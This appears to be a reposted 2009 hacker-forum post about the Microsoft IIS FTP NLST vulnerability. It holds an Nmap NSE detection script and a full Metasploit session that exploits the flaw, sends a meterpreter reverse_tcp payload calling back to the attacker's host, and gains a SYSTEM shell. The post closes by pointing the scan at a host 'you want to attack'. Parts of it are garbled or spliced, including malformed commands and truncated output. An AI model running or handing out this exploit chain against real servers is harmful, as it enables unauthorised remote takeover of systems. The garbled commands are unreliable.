# nmap --script-updatedb

# Nmap-p 21-sV - script = IIS-FTP 10.0.0.7 

Starting Nmap 4.76 ( http://nmap.org ) at 2009-09-01 01:15 CEST
Interesting ports on test-win (10.0.0.7):
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
|_ IIS FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
Service Info: OS: Windows

=[ msf v3.3-dev
+ -- --=[ 403 exploits - 273 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 193 aux

msf > use exploit/windows/ftp/microsoft_ftpd_nlst 
msf exploit(microsoft_ftpd_nlst) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(microsoft_ftpd_nlst) > set LHOST 192.168.0.136 
LHOST => 192.168.0.136
msf exploit(microsoft_ftpd_nlst) > set RHOST 192.168.0.128
RHOST => 192.168.0.128
msf exploit(microsoft_ftpd_nlst) > exploit 

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 192.168.0.128:21...
[*] Connected to target FTP server.
[*] Authenticating as anonymous with password mozilla@example.com...
[*] Sending password...
[*] 257 "RTIXDYMRJB" directory created.
[*] 250 CWD command successful.
[*] Creating long directory...
[*] 257 "SQL�UURU5UUUU@�8QKORu�@@@@��GVSVIHLODRPRVJDPILGXHZNKLNIYQZKGXCWEAGFGHTXSXDBYDLLXKGKYWUJNJGTZX����ASNOHNZRTDAAMVPKVEQRAVWPUJNGYKWSAIUMUPWLBU������������w�����YYTPSDOYTB�f���ICVFVCFUIZKQTRMIEWETKWE" directory created.
[*] 200 PORT command successful.
[*] Trying target Windows 2000 SP4 Universal (IIS 5.0)...
[*] 150 Opening ASCII mode data connection for file list.
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.0.136:4444 -> 192.168.0.128:1076)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

--- Checks if a Microsoft FTP server allows anonymous logins + MKDIR
--- If yes, could be vulnerable to the following exploit:
--- http://seclists.org/fulldisclosure/2009/Aug/0443.html
-- @output
-- |_ FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
--
-- @args ftpuser Alternate user to initiate the FTP session
--       ftppass Alternate password to initiate the FTP session
--       If no arguments are passed, anonymous FTP session is probed

id="IIS FTP"
description="Checks to see if a Microsoft ISS FTP server allows anonymous logins and MKDIR (based on anonftp.nse by Eddie Bell <ejlbell@gmail.com>)"
author = "Xavier Mertens <xavier@rooshell.be>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "auth", "intrusive"}

require "shortport"
local stdnse = require "stdnse"
---
-- portrule = shortport.port_or_service(21, "ftp")
portrule = function(host,port)
	if (port.number == 21 and
	    (port.state == "open" or port.state == "open|filtered"))
	then
		return true
	else
		return false
	end
end

---
-- Connects to the ftp server and checks if the server allows
-- anonymous logins or any credentials passed as arguments
action = function(host, port)
	local socket = nmap.new_socket()
	local result
	local status = true
	local isAnon = false

	local err_catch = function()
		socket:close()
	end

	local try = nmap.new_try(err_catch())

	socket:set_timeout(5000)
	try(socket:connect(host.ip, port.number, port.protocol))

	if (type(nmap.registry.args.ftpuser) == "string" and nmap.registry.args.ftpuser ~= "" and
	    type(nmap.registry.args.ftppass) == "string" and nmap.registry.args.ftppass ~= "")
	then
		local struser = "USER " .. nmap.registry.args.ftpuser .. "\r\n"
		local strpass = "PASS " .. nmap.registry.args.ftppass .. "\r\n"
		try(socket:send(struser))
		try(socket:send(strpass))
	else
		try(socket:send("USER anonymous\r\n"))
		try(socket:send("PASS IEUser@\r\n"))
	end

        while status do
		status, result = socket:receive_lines(1);
		if string.match(result, "^230") then
			try(socket:send("RSTATUS\r\n"))
			while status do
				status, result = socket:receive_lines(1);
				if string.match(result, "^211-Microsoft FTP Service") then
					try(socket:send("MKD w00t\r\n"))
					while status do
						status, result = socket:receive_lines(1);
						if string.match(result, "^257") then
							isVuln=true
							try(socket:send("RMDIR w00t\r\n"))
							break;
						end
					end
				end
			end
		end
	end

	socket:close()

	if(isVuln) then
		return "IIS Server allow anonymous and mkdir (potentially vulnerable)"
	end
end

# nmap -p 21 -sV --script=IIS-FTP --scriptargs=ftpuser=foo,ftppass=bar 10.0.0.7

nmap --script-updatedb

r00t@holiganvn

tarting Nmap 5.00 ( http://nmap.org ) at 2009-09-06 14:14 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using –system-dns or specify valid servers with –dns-servers
Interesting ports on 192.168.41.4:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
MAC Address: 08:00:27:B5:C1:E9 (Cadmus Computer Systems)
Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.53 seconds

nmap -p21 --script= -host muốn tấn công-